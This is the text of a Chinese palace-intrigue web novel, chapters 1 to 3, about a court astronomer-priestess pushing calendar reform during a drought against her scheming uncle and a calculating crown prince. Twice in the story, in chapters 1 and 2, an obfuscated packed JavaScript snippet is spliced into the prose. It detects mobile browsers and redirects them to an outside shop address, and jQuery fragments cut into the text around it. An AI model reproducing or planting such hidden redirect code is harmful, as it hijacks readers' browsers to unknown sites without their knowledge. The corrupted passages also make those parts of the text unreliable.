《掌天「天象权谋帝后对弈」》 1. 第 1 章 冬雪尽,春阳起。 雨水之节无雨,春日大地不见返青。 农田如巨大的皲裂龟壳,仿佛打算生吞所有以农耕为生的百姓。 “这是天罚啊!老天爷不让我们活了。”破衣烂衫,瘦骨嶙峋的老农使出浑身力气,泄愤般将赖以耕作的老旧锄头狠狠扎入地中,因为用力过猛,他手上的冻疮破裂,脓水和着血水滴落在干涸的灰土地上。而土地却只被凿出一个尖细的小坑。 “此话不当讲啊大爷,皇帝乃天命所归的真龙,我朝怎可能有天罚!”一旁的司稼吏刘文闻言吓得冷汗直掉,他后退几步紧张地四下张望,见偌大的干涸田亩四下无人影,才心疼地上前去拔老农插在地中的锄头,却又因他过于孱弱而未能拔动。 “神女大人,求求你让老天爷下雨吧!”老农无力地跪坐在地,闭上眼颤抖着合起手掌祈祷,“俺的孙儿才刚刚出生,求你保佑我的家人。俺这条贱命不值钱,你先拿去。”老农说着就又一手抄起锄头要往自己的天灵盖砸下。 刘文惊得抬手去挡锄头,却被老农一把推开翻倒在地。他挣扎着爬起,却被喷溅的鲜红血液蒙住视线。 “大爷……”刘文手忙脚乱爬上前扶住歪倒的老农,沾着黄土的手擦过眼眶,声音哽咽,“今日是雨水,我这不给你送粮种来了?咱们慢慢想办法就是,为何如此想不开啊?” “雨水?”老农喉咙呛出一口血,干瘪的嘴唇剧烈颤抖,“朝廷、节气、错的——咳咳,你也、知道——” “我知道,你别再说话了。”刘文捂住老农的伤口,“我带你去找乡医。” “俺、命、不、值钱——咳咳”老农扯下身上的破布,使力在自己伤口上忍着痛揉搓,“交给——咳咳——神女大人、血、血书——” “大爷——”刘文的声音已经嘶哑无比,泪水混杂着之前溅入眼中的血缓缓流下,将眼角干涸的血渍融化,他颤抖着手接过粗糙的血布,过了许久才抬起被泪水冲得清明的双眼抬头往天空看去。 斜阳西落,月起星耀。 田中一跪一躺的交叠身影,被马车溅起的尘土淹没。 沾满黄土的干涸粗麻血布,最终被小心夹在一封密信中,随着进贡的商队进入皇都,带着千金重量,落在了纤白带着薄茧的指尖上。 墨蓝色黑沉天幕中,初春的寒风拨云见月,搅动漫天闪烁星辰。 太史司观星台的正中央,浑天仪伴随着滴答声兀自旋转,一道纤瘦的青纱影攥住血布静默地立在一旁,珥瑶轻晃,罗袖翩翩。 明月星光自她如缎的长发铺散而下,微风带动柔软的发梢在她纤细的腰间飘动。 她仿佛不是这世间之人,却也因此看起来孤寂无比。 在她的眼中,天幕中的星辰不断分散、聚合,呈现出各异星图,以及对应的天象预示。 “北斗”七星相连,斗柄指东。 “青龙”扶摇直上,是被民间称为“龙抬头”的祥瑞。 它们共同昭示着,今日是历法二十四节气的“中气”之节——“雨水”。 这是一年中的第二个节气——冬尽春至的分界点,土地的温度从当日起逐渐升高,是春雨降临的时节。 这一天的到来,意味着农事待兴,百姓应抓紧于当日下地播种,并对来年的好收成满怀期待。 然而...... 方星曜低头看向手中这份加急送来的血“书”。 一个不识字的老农,用命写下的血“书”。 只能隐秘地,在整个太史司,在所有朝廷官员,在天禄国皇帝安眠的深夜,被送到自己的手中。 它是如此的安静和无人在意,又是无比的喧嚣令人无法忽视。 “不能再等了。”方星曜轻声呢喃,她攥紧血布,返身回到低矮的案前,就着昏暗的灯烛,提笔写下三十二封密信。 纤细白皙的指尖将每一封密信小心折好,夹入发布今年大乾历——“惊蛰”节气的公文,圆薄的甲盖并未像其它贵女那般染上蔻丹,甲端的月牙清晰可见。 “加急送给西部三州司稼署的司稼吏。不得有误。”方星曜音如柔弦,清净平和,似能抚平一切的忧虑。 “是,司天大人。”方星曜的亲信领命离开, 如今是大乾历实行的第十八年,新历的二十四节气已无法精确指导农耕。 方星曜目光扫过桌案上一封又一封老旧的,关于粮食产量骤降,请求太史司更新历法的奏章。 “播种延误……” “虫害防治延误……” “百姓食不果腹,流离失所,落为匪寇……” 这一封封泣血的奏章,全数被当朝太史令方天司压下。 不仅如此。 即便是有死谏的臣子于朝堂公开上奏,可乾帝却为了维护天命正朔,始终不曾松口。 “改革历法便等同承认你当初登基时颁布的大乾历是错的,便要背上皇帝失德之名。”方星曜无奈苦笑,“是啊,你当然不会同意。” “可现行的历法,必须得改。”方星曜眼中浮现冷意,“若不改,两年之内,天禄国农耕必毁。” “现在的太史司腐朽不堪,罔顾民生,只一味地为皇权服务,早就偏离了当年父亲您建立太史司的初衷。”方星曜眼中泛着冷意,又在抬头时渐渐被星光融化,“父亲,我只能全力一博了。” 方星曜轻轻叹出一口气,拿起软布细细擦拭起自己的观天镜。 “父亲的旧部一旦动用,就再也没有徐徐图之的可能。这次必须一击击中,以未能预测水旱的失责和治下不严之罪,让皇帝问责太史司,再推动皇帝接受历法改革。”方星曜转动已经酸麻的手腕,再次望向深邃的星空。 春日星宿分明可见,除偶尔闪烁外仿佛一动不动,可在方星曜眼中,这些星们已走过了千万年。 天象陈澈分明——天龙上移,奎宿隐。 “这是水患之象。”方星曜黛眉轻压,返身至一旁的案台坐下,提笔开始测算星宿运行轨迹。 她落笔极快,所呈之术数纷而不乱,山顶的风将她面前的稿纸卷起又放下,仿佛自己真能窥得方星曜于天文,历法,术数与堪舆中的造诣一般。 浑天仪缓缓转动,因年久发出咔咔的声响。 方星曜取出羊毫排笔清理浑天仪上的铜绿,取来铜碗,将长生油与蜂蜡倒入,再加上一些石墨粉研磨均匀后,悉心抹上齿轮的相接处,直至卡顿的声音消失不见,才又回到案前。 又三个时辰过去,鱼肚翻白,明月西沉,橙光破云而出。 方星曜终于结束整晚的观星测算,将父亲为她所制的观天镜小心翼翼收起。 八年过去,精铜铸就的小小观天镜,仍被保护得如同新制一般。只是这镜是为十岁孩童制作所用,拿在如今已十九岁的方星曜手中已然像个玩具,可即便如此,这小小的观天镜却仍是当今世上最清晰的观测镜。 因为,能够制出更好观天镜的前任太史司大人,已不在了。 “今年七月,北方。数年的农耕延误,如今西方的旱灾,再加上四个月后的水灾……”方星曜收起所有稿纸,又小心翼翼将脏污的血布揣入怀中,站在观星台这个皇都的最高点向下俯瞰,“这次推进历法改革,只能成功,若败……” 曜日即出,万道明光自天际洒下,唤醒了沉睡中龙首平原脉眼之上,被山栾环抱的天禄国都。 在前任太史司的督造下,严谨按照堪舆学建成,皇都被玉带般的护城河蜿蜒环绕,成藏风纳气之局。 皇宫赭墙黛瓦,择中立宫,主轴线指向冬至日出时。 意为天命正朔,不可撼动。 此时的东宫里,侍女笑闹着穿梭来往,她们端着纯银雕龙的洗漱用具,素净的温白玉茶碗,华贵的白锦金绣太子常服,脚步轻快地走进太子李昭的寝殿。 侍女们如晨起的欢快雀儿,声音清脆,叽叽喳喳,一点也不整齐地齐声问安: “太子殿下,更衣了。” “太子殿下,洗漱吧。” “太子殿下,喝口茶。” 橙色的春阳自打开的窗户铺洒进殿内,却仿佛独宠般,只把站在榻前的高大男子照耀地熠熠生辉。日晕光华齐身,顾盼烨然。 李昭面上带着温和的笑意,眼神清明,全然不似刚睡醒。 他凤眼微翘,鼻梁高挺如春山含黛,轻轻启唇浅笑,“有劳。” 待侍女们热闹地退去,太子寝殿迅速恢复一片静寂,无人看见一向温和的太子殿下倏然松下的嘴角。 殿中只余朝阳相伴,再无耳目叨扰,李昭便也无需带上宽厚仁和的面具。 他慵懒地斜靠在软榻,手中把玩着一只绣工稚嫩的丑丑小老虎。不知在想些什么。 “太子殿下,神女昨夜着人送了一批秘信加急递给西部三州的司稼署。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309618|198767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “什么内容?”李昭把玩丑老虎的手未停,眼睛仍然看向窗外的天空,淡淡道。 “要他们越过太史司,直接奏报皇帝西部的旱情。” “哦?”李昭收回目光,“她竟是想让父皇问罪太史令。” “想来是这样。”太子亲卫顾明一向忠心耿耿,颇得李昭器重,因此说话也从不弯绕,“旱情没有在出现前就被观测出,皇帝想来会治太史令失察之罪。” 顾明说完就自顾自寻了个位置坐下,端起桌上的茶喝了一口,“再加上越级上报的奏折,加一个失职。” “方星曜倒是有野心。”李昭放下手中的丑老虎,淡淡道,“方天司下台了有谁能顶得上那个位置?” “臣不知。”顾明转动茶盅,却思索无果,“这得看陛下的心意。不过——” “说。” “神女还要求他们问罪自己失职。”顾明想到这里,愈发不明白方星曜的意图,这是杀敌一千自损八百的做法。 “神女愿意以身入局,于孤,倒也是个好机会。”李昭不以为然道,“着人拦下那些越级上报的奏折。” “是。”顾明领命退下。李昭淡笑一下,又拿起丑老虎把玩起来。 三日后,三十二封来自各州县司稼署的秘奏,越过直接上属的中央机构太史司,联名上奏乾帝,报西部三州大旱,斥司天神女天节预报有误,延误旱情预防。同时,斥太史司十八年前所定新历失准,导致历年粮食减产,民不聊生。 但,联名上奏的章子却未如预计般抵达乾帝的手中,而是被暗暗送到了现任太史令方天司的府上。 “这是你指示司稼署办的事?”方天司的书案上散落着三十二封奏折,他抓起一把奏折就往案前站着的方星曜砸去。“别忘了,你是方家人!” “臣女不知叔父所谓何事。”方星曜弯身捡起地上散落的奏折,看似仔细地阅览了一番,“西部大旱?这是天罚的警示。” 方星曜抬起青纱袖笼,状似无意地拂去奏折上沾染的土尘,上前几步将其放回方天司的书案,“还好这些折子没有落在左相手中,不然太史司大人你会被问罪了。” “明日我会启奏陛下让你去为先皇祈福。你就别想再在太史司摆弄是非了。”虽然旱情上奏的折子被拦下,但天灾之事是瞒不住的,只能说皇帝不会因为出现越级上报的折子对太史司处失职之罪,但西部各州县的官服奏报不日也会抵达。 “叔父,司稼署越级上报之事并非我指示,方家一荣俱荣,一损俱损,叔父又一手将我扶至神女之位,我怎会不懂感恩。”方星曜欠身道,“西部三州大旱之事,陛下不出十日必会知晓,到时叔父当如何应对?” “你不要以为我不知道你背地里都做了些什么。”方天司对方星曜的说辞毫不买账,“不要再想着推动历法改革。更不要妄想动摇太史司的职权。” 方星曜听方天司点破自己的意图,不觉暗暗心惊,暗中思量起来究竟是身边的什么人露了风声,但她面上却不显,反轻笑一声道,“我是太史司所推选的司天神女,太史司在,我才在。我怎会蠢到做自毁根基之事?不若明日夜里,我去观星台测算一下这旱情何时才能结束?” “旱情之事我自有计策,你且安心先去为先皇祈福,也算是为天禄子民求得先祖庇佑,好教旱情早日过去罢。”方天司心下已有算计,“这才是作为天禄国司天神女的职责。” “是,叔父的教诲臣女自然铭记于心。”方星曜无法,只得先顺着应下,再寻机会破局。 “我劝你老实一点,你母亲的病需要昂贵的药材将养着,方家不好了,不仅你母亲活不下去,你也好不了。”方天司的声音透出一丝狠辣和威胁,“也为你年幼的弟弟想想。” 方星曜猛地攥住掌心,想到母亲和未长成的弟弟,却只能无力的松开,对方天司恭敬地行礼道,“是,侄女明白。多谢叔父。” 方星曜转身推门时,书房的窗缝轻轻被合上,微暗的月色中一道残影迅速掠过树梢,带动叶片发出细微的沙沙声。 东宫,太子书房内烛火通明,李昭返身自书案边站起。 “回禀太子殿下,奏折已着人拦下并送给太史大人了。” “如何?” “方大人正在问责神女。” “很好。”李昭浅笑。“着人将各县令拟报申请旱灾赈灾款的奏折送去左相府上。”明日的朝堂可有的闹了。 2. 第 2 章 方星曜又是一夜无眠。 越级上报旱情的联名奏折被方天司拦下,借太史司失职之事推动历法改革陷入僵局。 方星曜再次看向桌案上昨夜送来的密信:“祈雨大典”四个字形如鹤舞,气吞山河。 写信之人并未在字迹上做任何掩饰,明晃晃地昭示自己想表达的意图——“我在帮你。” “祈雨大典?”方星曜执笔的手测算未停,目光却紧紧地黏在这四个字上,此人竟是与自己想到了一处…… 昨夜观星,天象显示“岁临天江,月离于毕”。 方星曜能推算出月内必有霖泽,可这场雨,具体何时下,下多久,目前却是无法定论。 但若祈雨大典的时间,能刚巧遇上这场注定要来的雨…… 或可以祈雨之功,向皇帝提请派出官员前往西部治灾,重提太史司未及时预报旱情的失职之罪,谏言陛下惩治太史令,并且将历年积压的请求修正历法的奏章,一同提报。 以自己“司天神女”的身份,借旱灾这一“天道失序”的预警,逼迫皇帝答应历法改革。 祈雨大典,确实可行,且是当下唯一的破局之法。 但写信之人是何意图?他为何想要一个“祈雨大典”。他是在设局害自己,还是真的想帮自己?或是借“祈雨大典”达到自己的目的? 方星曜犹豫良久,终还是烧掉密信,拿起早已准备好的“祈雨大典”奏疏,匆匆赶往辰寰殿。 辰寰殿中一片静寂,御座之上,不惑之年的帝王仍是强盛之时,他肃颜端坐,目光睥睨,玄色衣袍上的金纹牵动日光在藻井上的太极图中流转。 左相,右相分列两旁。 乾帝重武轻文,右相所代表的武臣势力在臣子数量上明显比左相更多。 太子李昭立于左相一侧,而四皇子李念则恭敬地站在自己的祖父右相一旁。 李昭年十七,还有三年才及冠,所以仅按照祖制于朝堂学政,却不得对朝政大事发表意见,更没有上谏的资格。 左相行礼后,便递上连夜写好的奏折,“启禀陛下,臣收到西部三州急报,现西部大旱,民不聊生,求陛下定夺。” 方天司闻言一惊,按照他的计划,西部关于大旱的奏折本应该在十日后抵达。而在这期间,他可先将方星曜调离,再将前任太史令的死忠臣子,尤其是那些听令于方星曜的堪舆部吏员派往西洲治旱。 而如今,旱情提前被左相上奏,皇帝只怕会追责。 正在方天司惊疑不定,后背冷汗岑岑之时,乾帝果然发话,“方大人,有何奏议?” “天禄国一向以民为本,臣认为,大司农应当立刻拨粮草赈灾,同时,应派兵于西部以防百姓动乱。”方天司见皇帝竟然没有下罪的意思,赶忙撇开太史司的责任,开口献策。 乾帝眉心微微簇起,未置可否,只目光移到左相身后的大司农——钱攸良。 钱攸良接收到皇帝的目光,悄悄看了左相一眼,正欲出列进言。 一旁的右相武道成却骤然开口反驳方天司,“老夫的兵是打仗用的。治旱,应该是你太史司的事,养着一批堪舆官员是吃白饭的吗?三岁小儿都知道,天不下雨就要挖井。堂堂太史令大人竟然不知道?” 左相与右相一贯政见不和,见面就吵,这次却意外开口帮腔右相,“太史司在各州县都设有司稼署掌管当地农耕,如今我国粮食年年减产,国库空虚,这是太史司的失职,你们不仅管不好农耕,现在连旱情的消息竟也如此滞后。” 这是强制要求皇帝问责太史司了。 方天司被左右夹击,求助地望向乾帝,可皇帝却仍是不发一言地看着几位重臣争吵,似乎是他们不争出一个结果绝不发话的意思。 李昭将殿上的皇帝和朝堂上所有人的反应收于眼中,在左右相和太史令几人争吵最激烈的时候,理了理袖袍,上前做了一件身为太子应该做的事。 他紧抿住唇,缓缓地迈出几步,忧心忡忡向乾帝行礼,“父皇,儿臣作为太子,无法见民生受苦,儿臣愿前往西部治旱。” 太子之言一出,吵闹的朝堂忽然一片安静,武臣一队的目光全部聚焦于李昭一身,而李昭则是静静立在那里,白袍红杉,金色龙纹在他胸前默默盘踞,栩栩如生,似是将睡未睡,又似是将醒未醒。 乾帝闻言诧异地看了李昭一眼,旋即开口,“方大人。” “启禀陛下,太子还未行冠礼,按祖制不得亲政。”方天司立刻上前道。 “父皇,儿臣愿随哥哥一起前往西部治旱。”一直没有说话的四皇子也忽然开口主动请缨。 “四皇子,这不合礼制。”方天司一个头两个大,刚刚说了太子不能亲政,不能去治旱,这个四皇子就跳出来,是完全把礼制当耳旁风的意思。 “什么礼制不礼制的?”李念不以为意道,“那不然你太史司能解决?你能解决我们便不去了。” “念儿,朝堂之上不得无礼。”乾帝一改冷漠姿态,竟是慈祥地笑了笑责怪道。 “回去,这有你什么事?”武道成对自己这个外孙一贯溺爱,但这不代表他会纵容外孙在朝堂胡闹。 “启禀陛下,”一直安静待在原地的太常——文思礼,忽然开口替方天司解围,“前朝也有提前为太子加冠的先例,太子殿下十八岁生辰将近,若陛下认为太子殿下可当此任,也可先为其加冠。这样就不算违背礼制。” 乾帝刚刚还和煦的笑容,猛地收起,一双黑沉下压的眼望向文思礼,随后又再次转而看向方天司。 方天司深谙皇帝有扶持四皇子的心思,不可能让太子过早参政,所以答应让太子前去治旱是绝不可能的事情。一旦太子立功,参政便是水到渠成,所以太子不可插手旱灾,更别说提前加冠让太子名正言顺听政。他立刻开口,“陛下,如今西部旱灾,实乃民生不幸,臣认为,还是尽早商议出旱灾对策才是大事。” 左相杜之年是坚定的太子党,一心想要促成太子尽早参政,抓紧机会上前一步进言,“陛下,臣认为提前为太子加冠可行。如今太史司无能,右相只懂用兵,朝中可用之人已不多,太子出使西部,即是锻炼,也可抚慰民心,实在是上上之策。” “什么叫老夫只懂用兵?”武道成闻言暴起,“臭狐狸你不要血口喷人,老夫在战场杀敌的时候,你还是个尿裤子的小儿。” “好了,右相。你怎么还是这个脾气。”乾帝见骂战又起,终于还是受不了地揉了揉额头阻止,这左相、右相两个人一旦吵起来,对所有人都是漫长的折磨,一个能变着法不重词地骂一上午,一个人能连续爆不重样的粗口,不阻止的话又会变成右相追着左相骂,左相一边逃一边骂,这样下去当日的朝政算是废掉了。 “祖父,消消气,我帮你骂那老狐狸。”四皇子最擅察言观色,见皇帝揉额头,立刻便上前拉住右相,不断轻轻拍他后背。 李昭观察着乾帝的神色,见他并未望向自己,心下毫无意外之感,皇帝依然是不允许自己亲政的。李昭眼里闪过一丝冷意,却又立刻扯动嘴角露出一个浅浅的笑容。在其他臣子的眼中,太子果真是温润如玉的谦谦君子,是一个不同于他专横武断父亲的太子,是一个极为理想的,愿意以死效忠的未来君主。 “启禀陛下,司天神女求见。”殿外侍臣高声的通报打破了朝堂内短暂的寂静。 “宣。”乾帝轻轻抬手,一旁的侍臣便传达了他的旨意。 “臣女,参见陛下。” “神女有礼了。”乾帝温和回道,“可是有要事?” “回禀陛下,太史司收到西部大旱的奏报,臣女观灾情紧急,特来奏报。”方星曜已换上正式的司天神女服,红袍白纹,胸前的凤纹流光溢彩,振翅而立引颈向天。 “西旱之事朕已知晓,神女可有解法?”乾帝既不想为太子行冠,也知道国库空虚无钱赈灾,方天司迟迟不肯派人员治旱,也不好强逼。太史司与皇权两位一体,一荣俱荣,一损俱损,如今治旱一事竟是卡在这处,上下左右皆不得路。 “回禀陛下,可办祈雨大典。”方星曜目不斜视,一字一句道。 “祈雨大典”四字一出,石破天惊。 本来已经安静的朝堂忽然更加安静了。 方天司最不想要的解决方案被方星曜轻飘飘说出口,他狠狠瞪向方星曜,只能在心中期望皇帝千万不要接受这个建议。 若皇帝答应办祈雨大典,方星曜作为司天神女则必要主持大典。这样一来,皇帝便绝不可能派方星曜去皇陵祈福。祈雨若成功,方星曜再提议让堪舆部吏员前往西洲治旱,一旦立功,她在朝堂的势力只会进一步扩大。 并且…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309619|198767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祈雨大典是最高规格的国家级大典,要由皇帝本人主持。 成,是天道眷顾,皇帝真龙天子,天命所归。而太史司未预测出旱情,难辞其咎。 败,是天道失常,皇帝失德,最后会以皇帝下罪己诏,太史司一众相关官员处斩为果。 但,无论成败,代表天神威仪,皇权保佑者的司天神女都将无事。 这是皇帝和太史司两方的豪赌,而方星曜作为对手却可置身事外,毫发无损。 一直安稳泰然端坐在龙椅上的乾帝终于按捺不住地将手放上御座扶手,摩挲起手中的塑金龙首。 “不可。”左相骤然出声。 朝堂中所有官员的目光齐齐转向左相,连还没有骂畅快的武道成都意外地没有出声反驳,而是安静地等待他的后话。 一旁的太子李昭却只静静站在一旁,嘴角又浮现出一丝浅笑。 “咳,”左相清清嗓子,“陛下天龙之尊,岂可受祈雨之苦。国事繁重,旱情紧急,若陛下还要分神主持大典,怕是于龙体大不宜。” “是是是。”方天司也一改之前的愤慨模样,与左相冰释前嫌,附和道,“左相所言及是。陛下当注重龙体,佑我天禄。” 方星曜静静立在原地不再说话,事不关己的模样。仿佛这轰炸朝堂的事情并非由她所做。 “不如让太子哥哥……”四皇子李念话还没说完就被武道成扣了一肘子瞬间闭嘴。 “四弟,不得胡闹。”李昭一贯温和,竟是也开口斥责起李念。 “祈雨大典之事不妥。”武道成道,“不若让老夫的兵去西部挖河道凿井,老夫就不信了,我堂堂天禄国,不能挖出一条大江大河,治了旱灾这狗玩意。” “太子,你认为呢?”乾帝竟意外地将目光移向李昭,开口问道。 “回陛下,”李昭整理衣袖上前,面上仍带着温和的浅笑,“祈雨大典是为敬天之仪,成败皆在天意。然天道幽微,非人力可必。父皇乃真龙天子,万民所系,且父皇为民之心,天道也莫可质疑。办与不办,皆在父皇心中。儿臣自当听命于父皇,为父皇分忧。” “臣女昨晚夜观天象,”乾帝正在沉思之时,方星曜忽然一改之前的静默,开口道,“天龙现,旱魃隐。这预示着陛下的天子之威日盛,连凶神也要避其锋芒。陛下一心为国为民,天神已有所感。陛下圣明,定能保我天禄国风调雨顺。” “祈雨大典劳民伤财,臣认为不可。”方天司见皇帝似乎有所动摇,加紧上奏,“况祈雨需斋戒守夜,于陛下龙体不宜。” 李昭将方天司的反应尽收眼底,听到那句劳民伤财时,嘴角的笑意竟是扩大了些,带上了一丝讥讽的意味。见皇帝仍然不发话,便领头跪了下来,顺势大声请求道,“请陛下保重龙体。” 一众臣子见太子下跪,也纷纷下跪附和请求,“请陛下保重龙体。” 方星曜作为天禄国神女不需跪拜皇帝,她站在原地未动,冷冷看着跪了一地的“为国为民,为陛下”的国之重臣。 殿上的乾帝被群臣拱着这么一求,竟是定了要办大典的心思。 “好了,都起来吧。”乾帝摩挲龙首的手终于收回,放到了膝上,他眉间带笑,胸膛微微前倾,下旨道: “太子李昭,宽厚仁和,德行兼备,孝义双全。着令太子提前加冠,代行敬天祈雨之责。”乾帝不给众臣说话的机会,直接从龙椅上站起转身,“下朝。” “谢陛下。”李昭领头站起,对着乾帝的背影,露出了真正的笑容,“儿臣定竭尽所能,为父皇万死不辞。” “陛下圣明。”群臣站起行礼。 左相回头与文思礼交换了一个眼神,又和善地同方天司道,“有劳方大人与太常筹备太子冠礼,此事,老夫是管不了咯……” 方天司陪笑道,“那是自然,左相奏报旱灾有功,我太史司携力承办太子冠礼也是分内之事。” “有劳太史令大人。”李昭上前对方天司行礼。 “太子殿下言重了。”方天司不得不转向李昭回礼,“臣定当尽职尽责,办好冠礼之事。” 方星曜眼神扫过李昭,正对上他含笑的凤眼。李昭眉尾轻挑,对方星曜行了一礼。 方天司低垂眉眼,转过身往殿外走去,无人看见他心里的算计后的气定神闲,和眼底浮现出的狠辣。 3. 第 3 章 “把方星曜母亲的药换掉。”方天司下朝后第一件事便是招来心腹吩咐下去。 “遵命,大人。”家仆领命而出,不出片刻又返身回到房内,面上带着谄媚的笑不断搓手,“换成什么药,大人?” 方天司不耐烦地一掌拍到桌上,“这还要我教?换廉价的。” 对于方天司来说,苏青莲不需要马上死,于是只虚伪地敷衍道,“苏青莲那个身子已经是油尽灯枯,什么名贵药材都救不了,不要再浪费方家的银两了。” “是,是,属下明白,这就去办。”家仆佝偻着身子,一个劲点头赔着笑退出书房。 “废物。”方天司拿起桌上的茶喝了一口,复又重重摔回桌上,“呸——”,冷透的茶水被方天司吐掉,“屁事都办不好。” 被骂废物的家仆领了命,匆匆赶去药房,翻找半天也没找到所谓的廉价药材,又不敢再回去请示方天司的意思,于是找来下人喝的粗制茶叶替换掉原有的药材,然后喜滋滋的又回去复命了。 方星曜下朝后第一时间便赶回府中别院去看望母亲和幼弟,想要与母亲分享自己的好消息,却在母亲的房门外被拦下。 “小姐,家主吩咐了,苏夫人身体不适需要静养,你还是改日再来吧。” “我的家事何时轮到叔父来管了?”方星曜后退一步斥责道,“让开。” “小姐,苏夫人已经睡下了,你还是不要吵闹的好,影响了夫人休息,加重病情可就糟了。” 方星曜一贯冷然的面颊因为气愤而染上红晕,一双美丽的杏眼因为对母亲的担忧染上一丝水气,“让开!”她伸手去推守在母亲门旁的家仆。 两个家仆都人高马大,壮硕无比。方星曜的推搡就像是细弱的灰尘落入湖中,甚至激不起一点涟漪。 “小姐,不好了。”苏夫人的侍女荷花手忙脚乱往院内冲。 方星曜一把扶住趔趄的荷花,“什么事,轻声点说。”方星曜见屋内一直没有动静,觉得母亲应当确实是睡着了,于是嘱咐道。 “方才、”荷花重重喘了口气,“方才夫人咳血,我去药房找止咳的药材,结果、结果,”荷花摊开手掌给方星曜看,“夫人的药材全被换成了茶叶。” “你说什么?”方星曜猛然松开荷花,“方才母亲咳血了?那现在她?母亲究竟是睡着了,还是昏迷了?” “母亲——”方星曜冲到门口大声地朝屋内呼唤,“母亲,你听得到吗?” 屋内没有声音…… 两个家仆伸出粗壮的手臂拦住方星曜,“小姐,不如你去求家主吧。” “求他?”方星曜眼中闪过一丝迷茫和游移,不出片刻又恢复清明。她回身轻声交代了荷花几句,随后抬头一字一句道,“打开房门,让我进去。” “小姐,”家仆戏谑道,“家主之命属下不敢违抗,还请你不要为难下人。” 方星曜无法,只得再次退后。 她观察着面前两个壮硕的仆人,抬起纤白的指尖开始以拇指在其余四指上快速点动,同时开口道,“你们想必也知道,我父亲精通堪舆之术,而我深得父亲真传,可以测风水,定吉凶……” “方大人已去了多年了。”方星曜的话说到这里,两个家仆的神色已经开始变得游移,却仍然强硬回道。他们不觉得方星曜一个姑娘能拿自己怎么样。 “方家家仆都签了生死契,你们的生辰八字想来不难拿到……”方星曜见威慑无用,只得继续道,“别说我能改命了,改好改坏且不说……” 两个家仆你看看我,我看看你,分别往旁边让了一小步,却仍是挡在门口。 “就说近的……”方星曜上前一步恐吓道,“皇帝下旨,要办祈雨大典……” “哼——”两个家仆听到方星曜没有继续拿生辰八字说事,于是相视一笑,冷哼出声,“祈雨大典?关我们何事?我看小姐你还是去求一下家主,说不定他心一软,就吩咐我们让你进屋呢?呵——” “不知死活的东西。”方星曜冷眼看着这两个愚蠢的家仆,随即笑出了声,“祈雨大典关你们什么事?”方星曜反问道,“陛下需要这天下雨,而我作为天禄国的司天神女,倒是想给陛下提议一个祈雨的万全法子……” 方星曜目光扫视二人,“找一些八字好的成年男子……比如你们……” 方星曜轻轻吐出两个字,“生祭”。 两个高壮的家仆听到说要拿他们生祭,吓得几欲向方星曜跪下。 方星曜不敢松气,压住心里对母亲的担忧,继续道,“你们的生死,方天司虽然可以拿捏,但我也不是完全拿捏不了。不如想想,今日你们只是办事不力,没能拦住我?” 方星曜上前几步,将左侧已经泄力的家仆推开,看向右侧那个仍拦在门口的家仆道,“还是你们想求个有些功名的速死法子?我作为天禄国的司天神女,倒也不是不可以成全你们。” “小姐说笑了。”右侧的家仆让到一边,“属下忽然腹痛,竟是不小心让小姐见到了母亲。”他一手捂住肚子,一手对方星曜做了个请的手势,“小姐,请。” 方星曜冷冷看了这家仆一眼,却站着没动。 两个家仆看看方星曜,又互看一眼,分别捂住肚子,匆忙向方星曜行了一礼,就往茅厕跑去。 待他们跑远,方星曜才松开攥紧的手,推开了母亲的房门。 荷花去买药还需要一些时间回来,方星曜疾步走进房间在苏青莲的榻前坐下,拿起湿润的面巾轻轻擦拭昏迷中苏青莲的面颊。 苏青莲面色惨白,唇边还残留着咳出的血渍。自父亲过世后,母亲便一病不起,用着最好的药,却一直不见好转,如今已是连喝药都愈发艰难了。 “母亲,孩儿不孝。”方星曜终于泄了口气,忍住眼泪哽咽道,“女儿正在做了,很快,只要一个月时间,我就可以向陛下上表,奏请改革历法,完成父亲的遗愿,让百姓能够拥有正确精准的二十四节气,让天禄国的农耕恢复正常。” 方星曜就着手中的面巾擦干泪水,“母亲,我只差一步,这是真的,我没有骗你。” “你一定要活下去,看着我完成这件事。”方星曜叹出一口气,“到那时,我……” 方星曜想说,我不做这个神女,我带你和弟弟,离开方家,我们隐姓埋名,过我们自己的生活。 可这句话,方星曜却怎么也说不出口。她再次叹气,握住母亲的手,慢慢摩挲。 “曜儿——”,苏青莲终于苏醒过来,“娘没事……只是太困,睡一觉罢了。” 苏青莲抬手握住方星曜的手,“娘相信你,娘会等着那一天的。” 此时的方天司在书房内皱着眉翻阅典籍,方才被安排去换药的家仆站在一旁为他研磨。 “苏青莲必须死,但要死在一个合适的时间。”方天司头也未抬,拿着笔在典籍做标注,“不能死得太早,也不能死得太晚。” “家主,太子殿下来访。”门外的侍从急急通报。 方天司手中的笔一歪,在古籍上划出一道长痕,墨住了整整一行字。他抬头笑道,“走吧,去会一会太子。毕竟,他的冠礼说不好就办不成了,总得宽慰一下不是?” 苏青莲的房中,有陌生的侍女送来了熬好的药。同时通报方星曜太子殿下来访,请神女速去前厅议事。 方星曜仔细闻了闻药,是熟悉的气味,但她不相信方天司会忽然好心,依然将药倒进一旁的兰草中,吩咐侍女照顾好母亲,起身去了前厅。 方星曜赶到时,二人已相对而谈了一会儿,李昭淡笑着与方天司有来有回的说着话,看起来像是多日未见的好友,亲密非常。 “见过太子殿下。”方星曜向李昭见礼。 “神女大人有礼。”李昭站起身回礼,目光微不可察地巡着方星曜微红的眼眶扫视了一番。 